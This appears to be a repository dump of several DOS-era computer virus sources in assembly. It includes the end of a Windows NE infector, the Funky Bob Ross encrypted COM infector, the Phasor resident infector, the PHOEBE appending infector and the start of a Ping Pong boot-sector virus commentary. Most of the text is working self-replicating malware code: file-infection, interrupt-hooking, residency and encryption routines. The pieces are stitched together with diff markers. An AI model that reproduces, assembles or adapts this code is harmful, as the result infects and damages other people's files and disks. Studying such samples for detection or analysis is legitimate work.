mov cx,512
call int21h
jmp move_header_forward
last_page:
mov ax,4202h ;Lseek to end of file.
xor cx,cx
cwd
call int21h ;File length into DX:AX
;DX:AX=File offset of our segment
;Below section shifts the segment offset right by the alignment
;shift value.
mov cl,byte ptr al_shift
push bx
mov bx,1
shl bx,cl
mov cx,bx
pop bx
div cx
mov word ptr lseek_add,0
or dx,dx
jz no_extra
sub cx,dx
mov word ptr lseek_add,cx
inc ax
no_extra:
mov di,si
add di,word ptr last_ne
;Adding the new segment table entry
mov word ptr [di],ax ;Segment offset
mov word ptr [di+2],offset virus_size
mov word ptr [di+4],180h ;Segment attribute
; 180h = NonMovable + Relocations
mov word ptr [di+6],offset virus_size+512
mov ax,4200h ;Lseek to next position.
xor cx,cx
mov dx,word ptr lseek
sub dx,8
call int21h
mov ah,40h ;Write rest of NE header + new seg entry.
mov cx,word ptr last_ne
add cx,8 ;Added segment entry means eight more.
mov dx,offset virus_size
call int21h
;Reset the relocatable pointer.
push word ptr winip
push word ptr wincs
mov word ptr winip,0
mov word ptr wincs,0ffffh
mov ax,4202h ;Lseek to end of file.
xor cx,cx
mov dx,word ptr lseek_add
call int21h
mov ah,40h ;Write main virus body.
mov cx,offset virus_size
xor dx,dx
call int21h
pop word ptr wincs
pop word ptr winip
mov ah,40h ;Write the relocation item.
mov cx,offset reloc_end - offset relocblk
mov dx,offset relocblk
call int21h
jmp com_time_end
int21h: ;Simulated int 21 call.
pushf
call dword ptr cs:orig21
ret
orig21 dd 0
win_entry: ;WinEXE files begin execution here.
pusha
push ds
push es
mov ax,51feh ;Residency test.
int 21h
cmp ax,0ff51h
je no_wintsr
mov ax,000ah ;Make CS writable.
mov bx,cs
int 31h ;Use DPMI.
mov ds,ax
mov ax,0204h ;Get real mode interrupt vector.
mov bl,21h
int 31h
mov word ptr i21,dx ;Save int21
mov word ptr i21+2,cx
mov word ptr orig21,dx
mov word ptr orig21+2,cx
mov ax,501h
xor bx,bx ;Allocate Linear region
mov cx,offset v_mem_size
int 31h
push bx
push cx
xor ax,ax
mov cx,1 ;Create a Selector
int 31h
mov bx,ax
mov ax,7
pop dx ;Point selector to linear region.
pop cx
int 31h
mov ax,8
xor cx,cx ;Set selector limit
mov dx,offset v_mem_size
int 31h
mov es,bx
mov cx,offset v_mem_size
xor si,si ;Copy virus to the linear region
xor di,di
cld
rep movsb
mov bx,es
mov ax,9 ;Set access rights to 'Code'
mov cx,0ffh
int 31h
mov cx,es
mov dx,offset win21
mov ax,205h
mov bl,21h
int 31h ;Set real mode interrupt vector.
mov ax,4
push es
pop bx ;Lock the selector
int 31h
no_wintsr:
pop es
pop ds
popa
db 0eah ;Return to original file.
winip dw 0
wincs dw 0ffffh
;-----------------------
;Infection Procedures
;-----------------------
Save_Time:
push ax
push cx
push dx
mov ax,5700h
call int21h
mov word ptr time,cx
mov word ptr date,dx
pop dx
pop cx
pop ax
ret
Restore_Time:
push ax
push cx
push dx
db 0bah ;MOV DX,xxxx
date dw 0
db 0b9h ;MOV CX,xxxx
time dw 0
mov ax,5701h
call int21h
pop dx
pop cx
pop ax
ret
Lseek_Start:
mov al,0
jmp short lseek2
Lseek_End:
mov al,2
lseek2:
mov ah,42h
xor cx,cx
cwd
call int21h
ret
;-----------------------
;Infection Data
;-----------------------
;Com infection data.
com_jmp db 0e9h,0,0,0afh
;-----------------------
;Windows infection data.
newexe_off dw 0
al_shift dw 0
ne_size dw 0
last_ne dw 0
lseek dw 0
lseek_add dw 0
Relocblk:
dw 1 ;Number of relocation items
db 3 ;32bit pointer relocation
db 4 ;Additive relocation
dw offset winip
old_cs dw 0 ;The stored original CS & IP of host.
old_ip dw 0
Reloc_end:
;-----------------------
virus_size:
db 512 dup (0) ;Storage buffer.
v_mem_size:
@@ -0,0 +1,565 @@
; The Funky Bob Ross Virus Version 1.0
; Written by Dark Angel / 26 September 1991 / (c) 1991
; PHALCON/SKISM Co-op
; Effective length: 1125, Resident length: 672 bytes
;
; DEDICATION:
; This virus was written expressedly to
; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
; other guru-wanna-bes in this world.
; 2) Spread the message of The Almighty Bob, and so enrichen the lives
; of people all over the world.
; 3) Show off (Now I can tell people that I wrote a virus!)
;
; WHAT THIS IS:
; This is a self-encrypting, non-overwriting COM infector. It doesn't do
; anything to EXE files. File sizes increase by 1117 bytes. It goes off
; on July 9th of any year or after 7 infection "waves."
;
; WHAT IT DOES WHEN IT GOES OFF:
; The virus goes memory resident and prints out a Bobism every 5 minutes.
; It then enters a delay loop for approximately 5 seconds, allowing for a
; brief moment of silence while the victim reads Bob's holy message. The
; virus will not destroy anything. The virus will not go TSR if it finds
; another copy of itself in memory.
;
; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT.
; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE
; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO
; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE
; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I
; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
CODE SEGMENT PUBLIC 'CODE'
ORG 100h
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
DTA_fileattr EQU 21
DTA_filetime EQU 22
DTA_filedate EQU 24
DTA_filesize EQU 26
DTA_filename EQU 30
virus_marker equ 026FFh ; JMP WORD PTR
virus_marker2 equ 00104h ; 0104h
part1_size equ part1_end - part1_start
part2_size equ part2_end - part2_start
offset_off equ duh2
init_delay equ 5280 ; Initial delay
delay equ 400 ; Subsequent delay
num_Messages equ 7 ; Number of Bob messages
waves equ 7 ; Number of waves to go off after
infec_date equ 0709h ; Date of psychosis
Counter equ 108h
D_Mess equ 110h
Int_08_Start equ 112h
part1_start:
jmp word ptr duh
duh dw middle_part_end - part1_start + 100h
duh2 dw 0
part1_end:
middle_part_start:
middle_part_end:
;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
cld
call decrypt
mov si, offset Go
add si, offset_off
jmp si
encrypt_val db 00h
decrypt:
encrypt:
mov si, offset encrypt_val
add si, offset_off
mov ah, byte ptr [si]
mov cx, offset part2_end - offset bam_bam
add si, offset bam_bam - offset encrypt_val
mov di, si
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb
loop xor_loop
ret
copy_rest_stuff:
; Mah copying routine
push si ; SI -> buffer3
call encrypt
mov cx, part2_size
pop dx
add dx, offset part2_start - offset buffer3
mov ah, 40h
int 21h
call decrypt
bam_bam:
ret
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2 db part1_end - part1_start dup (?)
buffer3 dw ?
orig_path db 64 dup (?)
num_infec db 0 ; Infection wave number
infec_now db 0 ; Number files infected this time
root_dir db '\',0
com_mask db '*.com',0
dir_mask db '*.*',0
back_dir db '..',0
nest dw 0
DTA db 43 DUP (0) ; For use by infect_dir
Go:
add si, offset buffer - offset Go
mov di, si
add di, offset buffer2 - offset buffer
mov cx, part1_size
rep movsb
mov ah, 47h ; Get directory
xor dl,dl ; Default drive
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
int 21h ; in orig_path
jc Go_Error
mov ah, 3Bh ; Change directory
mov dx, si ; to the root dir
add dx, offset root_dir - offset orig_path
int 21h
jc Go_Error
add si, offset num_infec - offset orig_path
inc byte ptr [si] ; New infection wave
push si ; Save offset num_infec
add si, offset infec_now - offset num_infec
mov byte ptr [si], 3 ; Reset infection
; counter to 3
; for D-new run.
call traverse_fcn ; Do all the work
pop si ; Restore offset num_infec
cmp byte ptr [si], waves ; 10 infection waves?
jge Go_Psycho ; If so, activate
mov ah, 2Ah ; Get date
int 21h
cmp dx, infec_date ; Is it 07/09?
jz Go_Psycho ; If so, activate
Go_Error:
jmp quit ; And then quit
Go_Psycho:
jmp Psycho
origattr db 0
origtime dw 0
origdate dw 0
filesize dw 0 ; Size of the uninfected file
oldhandle dw 0
;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
push si
jmp infect_directory
In_fcn:
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now, do it hard!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
mov dx,offset dir_mask ; *.*
add dx,offset_off
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ;else load dirname
mov ah,3Bh ; and changedir there
int 21h ;Yup, yup
jc short donext ; Do next if invalid
mov si, offset nest ; Else increment nest
add si, offset_off
inc word ptr [si] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
mov ah,1Ah ; and set DTA to it
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ;If OK, jmp elsewhere
mov si, offset nest
add si, offset_off
cmp word ptr [si], 0 ;If root directory (nest == 0)
jle short cleanup ; Quit
dec word ptr [si] ;Else decrement nest
mov dx,offset back_dir ;'..'
add dx, offset_off
mov ah,3Bh ;Change directory
int 21h ; to previous one
cleanup:
pop si
mov sp,bp
pop bp
ret
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================
Goto_Error:
jmp Error
enuff_for_now:
;Set nest to nil
mov si, offset nest ; in order to
add si, offset_off ; halt the D-Cool
mov word ptr [si], 0 ; traversal fcn
jmp short cleanup
return_to_fcn:
jmp short In_fcn ;Return to traversal function
infect_directory:
mov ah, 1Ah ;Set DTA
mov dx, offset DTA ; to DTA struct
add dx, offset_off
int 21h
find_first_COM:
mov ah, 04Eh ; Find first file
mov cx, 0007h ; Any file
mov dx, offset com_mask ; DS:[DX] --> filemask
add dx, offset_off
int 21h ; Fill DTA (hopefully)
jc return_to_fcn ; <Sigh> Error #E421:0.1
jmp check_if_COM_infected ; I<___-Cool! Found one!
find_next_file2:
mov si, offset infec_now ; Another loop,
add si, offset_off ; Another infection
dec byte ptr [si] ; Infected three?
jz enuff_for_now ; If so, exit
find_next_file:
mov ah,4Fh ; Find next
int 21h
jc return_to_fcn
check_if_COM_infected:
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
add si, offset_off
cmp byte ptr [si], 'D' ; ??????D.COM?
jz find_next_file ; don't kill COMMAND.COM
mov ax,3D00h ; Open channel read ONLY
mov dx, si ; Offset Pathname in DX
sub dx, 6
int 21h ; Open NOW!
jc find_next_file ; If error, find another
xchg bx,ax ; bx is now handle
mov ah,3Fh ; Save
mov cx, part1_size ; first part
mov dx, offset buffer ; to buffer
add dx, offset_off ; to be restored
push dx
int 21h ; later
pop si ; Check for virus ID bytes
; in the buffer
push si
lodsw ; DS:[SI] -> AX
cmp ax, virus_marker ; Compare it
jnz infect_it ; infect it if ID #1 not found
lodsw ; Check next two bytes
cmp ax, virus_marker2 ; Compare it
jnz infect_it ; infect if ID #2 not found
pop si
bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another
jmp find_next_file ; 'cuz it's already infected
Signature db 'PHALCON'
;=============================================================================
;D-Good Stuff - Infection routine
;=============================================================================
infect_it:
; save fileattr
pop si
add si, offset DTA + DTA_fileattr - offset buffer
mov di, si
add di, offset origattr - offset DTA - DTA_fileattr
movsb ; DS:[SI] -> ES:[DI]
movsw ; Save origtime
movsw ; Save origdate
movsw ; Save filesize
; Only need LSW
; because COM files
; can only be up to
; 65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ; is less than 8 bytes.
do_again:
mov ah, 2Ch ; get time
int 21h
add dl, dh ; 1/100 sec + 1 sec
jz do_again ; Don't want orig strain!
mov si, offset encrypt_val
add si, offset_off
mov byte ptr [si], dl ; 255 mutations
mov ax, 4301h ; Set file attributes
xor cx, cx ; to nothing
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset encrypt_val
int 21h ; do it now, my child
mov ah, 3Eh ; Close file
int 21h ; handle in BX
mov ax, 3D02h ; Open file read/write
int 21h ; Filename offset in DX
jc bomb_out ; Damn! Probs
mov di, dx
add di, offset oldhandle - offset DTA - DTA_filename
; copy filehandle to
; oldhandle
stosw ; AX -> ES:[DI]
xchg ax, bx ; file handle in BX now
mov ah, 40h ; Write DS:[DX]->file
mov cx, part1_size - 4 ; number of bytes
mov dx, 0100h ; where code starts
int 21h ; (in memory)
mov ah, 40h
mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ; write jmp offset
mov ax, [si] ; AX = filesize
sub ax, 0108h
add si, offset buffer3 - offset filesize
push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h
mov ax, 4202h ; move file ptr
xor cx, cx ; from EOF
xor dx, dx ; offset cx:dx
int 21h
call copy_rest_stuff
pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ; Restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ; old time and
add si, 2
mov dx, word ptr [si] ; date
int 21h
mov ah, 3Eh ; Close file
int 21h
mov ax, 4301h ; Restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ; attributes
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset origattr
int 21h ; do it now
jmp find_next_file2
GotoError:
jmp error
Psycho:
; Check if already installed
push es
mov byte ptr cs:[100h],0 ; Initialize fingerprint
xor bx, bx ; Zero BX for start
mov ax, cs
Init1: inc bx ; Increment search segment
mov es, bx ; value
cmp ax, bx ; Not installed if we reach
je Not_Installed_Yet ; the current segment
mov si, 100h ; Search segment for
mov di, si ; fingerprint in first
mov cx, 4 ; four bytes
repe cmpsb ; Compare
jne init1 ; If not equal, try another
jmp Quit_Init ; else already installed
Not_Installed_Yet:
pop es
mov word ptr cs:[Counter], init_delay
mov word ptr cs:[D_Mess], 1
; Copy interrupt handler to beginning of code
mov si, offset _int_08_handler
add si, offset_off
mov di, Int_08_Start
mov cx, int_end - int_start
rep movsb ; DS:[SI]->ES:[DI]
mov ax, 3508h ; Get int 8 handler
int 21h ; put in ES:BX
mov cs:[duh], bx ; Save old handler
mov cs:[duh+2], es ; in cs:[104h]
mov ax, 2508h ; Install new handler
mov dx, Int_08_Start ; from DS:DX
int 21h ; Do it
push es
mov ax, ds:[2Ch] ; Deallocate program
mov es, ax ; environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ; TSR
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
int 21h
int 20h ; In case of error
Quit_Init:
pop es
Error: ; On error, quit
Quit:
mov ah, 3Bh ; Change directory
mov dx, offset root_dir ; to the root dir
add dx, offset_off
int 21h
mov ah,3Bh ; Change directory
; Return to orig dir
add dx, offset orig_path - offset root_dir
int 21h
; Copy buffer back to beginning of file
mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb
mov di, 0100h
jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr CS:[Counter] ; Counter
jnz QuitNow
;ACTIVATION!!!
mov word ptr CS:[Counter], delay ; Reset counter
; Set up DS & ES to equal CS
push cs
pop ds
push cs
pop es
mov si, offset Messages - offset int_start + int_08_start
mov cx, cs:D_Mess
xor ah, ah
LoopY_ThingY:
lodsb ; DS:SI -> AL
add si, ax ; ES:BP -> Next message to display
loop LoopY_ThingY
lodsb
xchg si, bp
xor cx, cx
mov cl, al ; Length of string
mov ax, 1300h ;
mov bx, 0070h ; Page 0, inverse video
xor dx, dx ; (0,0)
int 10h ; Display ES:BP
inc word ptr cs:[D_Mess]
cmp word ptr cs:[D_Mess], num_messages
jnz Sigh
mov word ptr cs:[D_Mess], 1
Sigh: mov cx, 30h
Sigh2: push cx
mov cx, 0FFFFh
DelayX: loop DelayX
pop cx
loop Sigh2
xchg si, bp
QuitNow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr CS:duh
Messages db 0
db 15, 'Bob Ross lives!'
db 21, 'Bob Ross is watching!'
db 22, 'Maybe he lives here...'
db 26, 'What a happy little cloud!'
db 38, 'Maybe he has a neighbour right here...'
db 40, 'You can make up stories as you go along.'
_int_08_handler endp
int_end:
part2_end:
CODE ends
end part1_start
@@ -0,0 +1,166 @@
;
; [Phasor] v1.0
; Written by Memory Lapse of Phalcon/Skism
;
; This is a simple memory resident, COM infector. It hides in the unused
; portion of the interrupt table starting at 0:1E0h.
;
; To Assemble:
; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T
;
.model tiny ;
.code ;
.286 ;
org 100h ;
;
start: ;Mark Start of Code
v_start: ;Mark Start of Virus
mov bp,0000h ;Self Modifying Delta
delta equ $-002h ; Offset.
;
xor di,di ;Load Register w/Zero
mov es,di ;ES = 000h
;
mov di,01E0h ;DI = 1E0h
;
cmp byte ptr es:[di],0BDh ;Virus Present?
jz restoreCOMbytes ;(0BDh = MOV BP,XXXX)
;
push cs ;Save CS onto Stack
pop ds ;Restore DS (CS=DS)
;
mov cx,(heap_end-v_start)/002h ;CX = # of Words To Copy
lea si,[bp+100h] ;SI = Start of Virus
rep movsw ;Copy Virus To Int Table
;
mov ax,offset i021h+0E0h ;AX = Handler + Offset
;
xchg ax,word ptr es:[084h] ;Modify Interrupt Table
mov word ptr es:[i021hOffset+0E0h],ax ; To Point To Virus's
; Interrupt 021h
mov ax,es ; Handler.
;
xchg ax,word ptr es:[086h] ;
mov word ptr es:[i021hSegment+0E0h],ax ;
;
restoreCOMbytes: ;
push cs cs ;Equal Out Segment
pop ds es ; Registers.
;
lea si,[bp+host_bytes] ;SI = Host's Bytes
mov di,100h ;DI = Start of Host
push di ;Save DI onto Stack
mov byte ptr [di],0C3h ;Write RET to Host
call di ;Call 100h (RET)
;
movsb ;Byte @ DS:[SI]=>ES:[DI]
movsw ;Word @ DS:[SI]=>ES:[DI]
;
retn ;Return to Host Program.
;
host_bytes db 0CDh,020h,000h ;Buffer For Starting of
; Host Program.
infect: xor bp,bp ;Load Register w/Zero
;
mov ax,3D00h ;AX = 3D00h
int 021h ;Open File in R/O Mode.
;
xchg ax,bx ;
;
push bx cs cs ;Save Handle, Equal Out
pop ds es ; Segment Registers.
;
mov ax,1220h ;AX = 1220h
int 02Fh ;Get JFT.
;
mov ax,1216h ;AX = 1216h
mov bl,byte ptr es:[di] ;BL = Location of SFT
int 02Fh ;Get SFT.
;
pop bx ;Restore File Handle
;
mov word ptr es:[di+002h],002h ;Open File For Read And
; Write Mode.
mov ah,03Fh ;AH = 3Fh
mov cx,003h ;CX = # of Bytes To Read
mov dx,offset host_bytes+0E0h ;DX = Buffer + Offset
int 021h ;Read 003h Bytes To Bufr
;
mov si,dx ;SI = DX
;
cmp word ptr [si+000h],5A4Dh ;EXE File?
jz closeCOMfile ;Exit Virus
;
cmp word ptr [si+000h],4D5Ah ;EXE File?
jz closeCOMfile ;Exit Virus
;
push cx ;Save CX onto Stack.
;
mov ax,4202h ;AX = 4202h
xor cx,cx ;Load Register w/Zero
cwd ;Load Register w/Zero
int 021h ;Move File Pointer @ EOF
;
pop cx ;Restore CX.
;
mov word ptr [delta+0E0h],ax ;Write Delta Offset
;
sub ax,cx ;Subtract 3h from Size.
mov byte ptr [temp_buffer+0E0h+000h],0E9h ;Write Jump to Buffer
mov word ptr [temp_buffer+0E0h+001h],ax ;Write Location to Buffr
;
sub ax,(v_end-v_start) ;Subtract Virus Length
;
cmp word ptr [si+001h],ax ;Is File Infected?
jz closeCOMfile ;Jump if Infected.
;
mov ah,040h ;AH = 40h
mov cx,(v_end-v_start) ;CX = # of Bytes to Wrte
mov dx,01E0h ;DX = Data to Write
int 021h ;Write To File.
;
mov word ptr es:[di+015h],bp ;Move File Pointer To
mov word ptr es:[di+017h],bp ;Start of File.
;
mov ah,040h ;AH = 40h
mov cx,003h ;CX = # of Bytes to Wrte
mov dx,offset temp_buffer+0E0h ;DX = Data to Write
int 021h ;Write To File.
;
mov ax,5701h ;AX = 5701h
mov cx,word ptr es:[di+00Dh] ;CX = Time Stamp
mov dx,word ptr es:[di+00Fh] ;DX = Date Stamp
int 021h ;Set Time.
;
closeCOMfile: ;
mov ah,03Eh ;AH = 3Eh
int 021h ;Close File.
;
jmp exit ;Unconditional Jump
;
db "[ML/PS]" ;
;
i021h: pusha ;Preserve All Regs.
push ds es ;Save Segment Registers.
;
sub ax,4B00h ;Executing A File?
jnz exit ;Jump If Not 4B00h.
;
jmp infect ;Unconditional Jump.
exit: pop es ds ;Restore Segment Regs.
popa ;Restore All Registers.
;
int21h: db 0EAh ;JMP SSSS:OOOOO
;
v_end: ;End of Virus
heap_start: ;Start of Heap
;
i021hOffset dw 001h dup (?) ;Buffer for Offset
i021hSegment dw 001h dup (?) ;Buffer for Segment
temp_buffer db 003h dup (?) ;Buffer for Calculations
;
heap_end: ;End of Heap
;
end start ;End of Source
@@ -0,0 +1,180 @@
;PHOEBE
;coded by Opic of the Codebreakers
;PHOEBE is an appending .com infector with DT via a dotdot routine
;infection criteria is met on a moday once all files that are capable of
;being infected by PHOEBE are, a payload is delivered:
;the monitor will print a message to the screen(in the French) which
;translates to;"Indroducing PHOEBE, she was coded in the heart of midwest
;america in the autumn of ninteen ninty-seven by Opic of The Codebreakers"
;along with a text string which will be printed to the printer. Thanx go
;out to:Spo0ky,Arsonic,and Sea4 for which without their help Phoebe whould
;not be what she is today. PHOEBE can be assembled using a86 V4.02
;it should be noted that phoebe has no anti-av routines, yet is still
;remains undetectable by most av software. a testament to the inconsistancy
;of many av scanners, specifically windows95 scanners.
db 0e9h,0,0 ;jump to virus code..
start_of_PHOEBE:
call delta ;get delta offset to get # of byte virus moved down
delta:
pop bp ; call a pop register to get the ip back into register
sub bp,offset delta ; we subtract the offset delta from bp(ip)
mov cx,3
mov di,100h
lea si,[bp+buffer]
rep movsb
jmp find_first ;jump to find the first file
find_first:
mov ah,4eh ;find's first file in the starting directory..
mov cx,7
lea dx,[bp+filespec]
int 21h
jnc open ;one found.. then infect da
jmp dir_loopy ;otherwise change directory
dir_loopy:
lea dx,[bp+dotdot]
mov ah, 3bh ;int for chdir
int 21h
jnc find_first ;find first file in new directory
jmp check_payload ; we finished spreading so we check payload criteria
find_next:
mov ah, 4Fh ;find next..
int 21h
jnc open ;one found.. INFECT IT!
jmp dir_loopy ;otherwise we do a cd..
open:
mov ax,3d02h ;open file
mov dx,9eh ;get the info from the dta
int 21h
mov bx,ax
mov ah,3fh ;read from file
mov cx,3 ;3 bytes
lea dx,[bp+buffer]
int 21h
mov ax,word ptr[80h + 1ah]
sub ax,end_of_PHOEBE - start_of_PHOEBE + 3
cmp ax,word ptr[bp+buffer+1]
je bomb_it_out
mov ax,word ptr[80h + 1ah]
sub ax,3
mov word ptr[bp+new_three+1],ax
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
lea dx,[bp+new_three]
mov cx,3
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
lea dx,[bp+start_of_PHOEBE]
mov cx,end_of_PHOEBE - start_of_PHOEBE
int 21h
jmp bomb_it_out
bomb_it_out: ;closes the file..
mov ah,3fh ;close file
int 21h
jmp find_next ;find another..
check_payload:
mov ah,2ah ;gets system date
int 21h ;opens it
cmp al,001h ;compares, is it monday?
je payload ; if so, we got shit to do
jmp get_out ; if not then we chill till Mon.
payload:
mov ah,09h ; Fuction 09h: Print String to standard output
lea dx,screen ; Start of '$' terminated string
int 21h
mov ah,01h ;begin of printer sect of payload
mov dx,0h
int 17h ;int for initializing printer
lea si,string1
mov cx,String1Len
PrintStr:
mov ah,00h
lodsb
int 17h
loop PrintStr
Get_out:
lea di,100h
jmp di
new_three db 0e9h,0,0
filespec db '*.com',0
dotdot db '..',0
screen db "Voila PHOEBE! Elle etait code' dans la coeur de ,",10,13
screen2 db "l'amerique midwest a l'automne, dix-neuf cent",10,13
screen3 db 'quatre-vingt-dix-sept, par Opic des Codebreakers',10,13,'$'
;You have to have the "$" at the end of all the text you want to print
String1Len EQU EndStr1-String1
String1 db '*************************PHOEBE*************************',0dh,0ah
db 'Phoebe: high school knockout, better take our MONDAY to',0dh,0ah
db 'the tuesday prize fighter(you were a cab driver off on',0dh,0ah
db 'the distance).youre a runner or a lover:sacred taylor',0dh,0ah
db 'set our records straight one lost two late,im a little',0dh,0ah
db 'off time so set your ticker to mine:',0dh,0ah
db 'id love to have my halo of social grace recrowned.',0dh,0ah
db '(desert island ect.) home to ill will and',0dh,0ah
db 'misrepresentation. barter with me now mexico, i demand',0dh,0ah
db 'it.come bluebeard & red blood-we are life-even in our',0dh,0ah
db 'tied down mishaps. we are life; endure us. dead seven',0dh,0ah
db 'year old run over by a bus while stealing your first',0dh,0ah
db 'and only bicycle; endure. this is life even in my wine',0dh,0ah
db 'glass even in my ever faltering and constant doubt we',0dh,0ah
db 'are here, this is it, endure. even in on our toilet',0dh,0ah
db 'in the morning or in your shitbox or motel, you have',0dh,0ah
db 'made it-rejoice!-the ground will open up on us even',0dh,0ah
db 'before this glass is finished. this year will end for',0dh,0ah
db 'most of us.salt touches the ground, athens have we',0dh,0ah
db 'lost quite yet? savagly speared we went down quietly?',0dh,0ah
db 'giving up our youth or even worse our spirit so',0dh,0ah
db 'daintily as a beauty queen shits at midnight? was no',0dh,0ah
db 'one watching? listening? tell me athens: are we',0dh,0ah
db 'christians and lions? have i got my history all wrong?',0dh,0ah
db 'from the first to the last or one year past: "are these',0dh,0ah
db 'the depths of despair so unevenly documented in its',0dh,0ah
db 'text?".for once athens history repeats itself.tell me',0dh,0ah
db 'what do you think of our football games? are our glory',0dh,0ah
db 'days over? is america doomed with pre-ejaculation? i',0dh,0ah
db 'must know. slap me and tell me im like all the rest,',0dh,0ah
db 'athens,id feel so much better if you did.am i a thief',0dh,0ah
db 'stealing red robed memory? am i: train through a',0dh,0ah
db 'tunnel? rocketship blasting off? the washington',0dh,0ah
db 'monument? i bet i am.i am wimpering under your window',0dh,0ah
db 'sill or whispering to your pillowed ear:rejoice! we are',0dh,0ah
db 'famous watchers.sewer of amber letters, lips sewed a',0dh,0ah
db 'thread of truth to your tongue.i named and numbered my',0dh,0ah
db 'system the whole world over,and you?you got flowers and',0dh,0ah
db 'chocolates.like a steel warehouse summer turned calcium',0dh,0ah
db 'to carbon.',0dh,0ah
db '****coded/copyrighted:Opic*********Codebreakers,1997****',0Ch
EndStr1:
buffer db 0cdh,20h,0
end_of_PHOEBE:
File diff suppressed because it is too large Load Diff
+761
View File
@@ -0,0 +1,761 @@
TITLE PINGB.ASM - Ping Pong "B" virus assembly source code
COMMENT # Read the following carefully:
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
This virus, when assembled, is (almost) harmless if left in a file.
At best, the code will overwrite part of DOS and hang your machine.
At worst, it could wipe out the Boot record of A: or the master boot
record of your hard disk. Since the virus MUST be loaded from a boot
sector to function properly, running the code from DOS will definitely
cause problems.
DISCLAIMER: The author will NOT be held responsible for any damages
caused by careless use of the information presented here.
NOTE: This file, when assembled, will produce a binary image identical
to the original virus code (except for data areas). It has a
few flaws, the biggest of which is described in item 1 of the
Coding Quirks section, below. The companion file, PINGB-C.ASM is
a "cleaned-up" copy of the virus; it corrects all the items under
the Coding Quirks section. It should be operationally functional
to the virus code in this copy.
THEORY OF OPERATION:
1) A disk with the virus is booted.
2) The BIOS memory count is decreased by 2k, to prevent DOS from
overwriting the virus, and relocates itself to the reserved space.
3) Part II of the virus is read into RAM just after part I.
4) The original boot sector is read to 0000:7C00.
5) Virus gets and saves the address of INT 13h, the BIOS disk service
interrupt routine, then hooks its own routine in place.
6) The virus jumps to 0000:7C00, load DOS if possible.
INFECTION PROCESS:
1) A BIOS read request is preformed on the target disk.
2) If the drive is different from the last drive that was read from, then
attempt infection immediately. Otherwise, check the BIOS clock tick
count to see if it's time to activate the bouncing ball routine.
3) Read very first sector of the disk. If it's a hard disk, then search
for a DOS-12 or DOS-16 partition, and if found, read the first sector
of THAT partition. We now have the "normal" boot record of the target
disk in the sector buffer.
4) Copy the BPB from the boot record to the virus code space.
5) Check virus' signature in the boot record to see if infected before.
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
per cluster to infect the disk.
6) Calculate number of system use sectors, data sectors, and maximum cluster
number.
7) Starting with the first sector of the FAT, search for a free cluster.
If none found, then don't infect the disk.
8) The first free cluster is flagged as bad, and the FAT is updated. Note
that only the first copy of the FAT will be modified.
9) The original boot sector is re-read and written to the second sector of
the virus' cluster. Part II of the virus is written to the first sector.
Part I is written to sector 0, replacing the original boot record.
INFECTION RESTRICTIONS:
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
1) The virus will not infect a non-DOS bootable hard disk.
2) The virus will only infect a disk with 512 byte sectors, and at least two
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
3) The virus will not infect a disk with no free space (from DOS's view).
CODING QUIRKS:
1) The virus uses a "MOV CS,AX" instruction to continue execution after
relocating itself to higher memory (see MEMORY MAP, below). This should
not work on a 286 or 386 system (the author has not tried it!).
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
register). It could be replaced by "XOR rr,0" to save a byte.
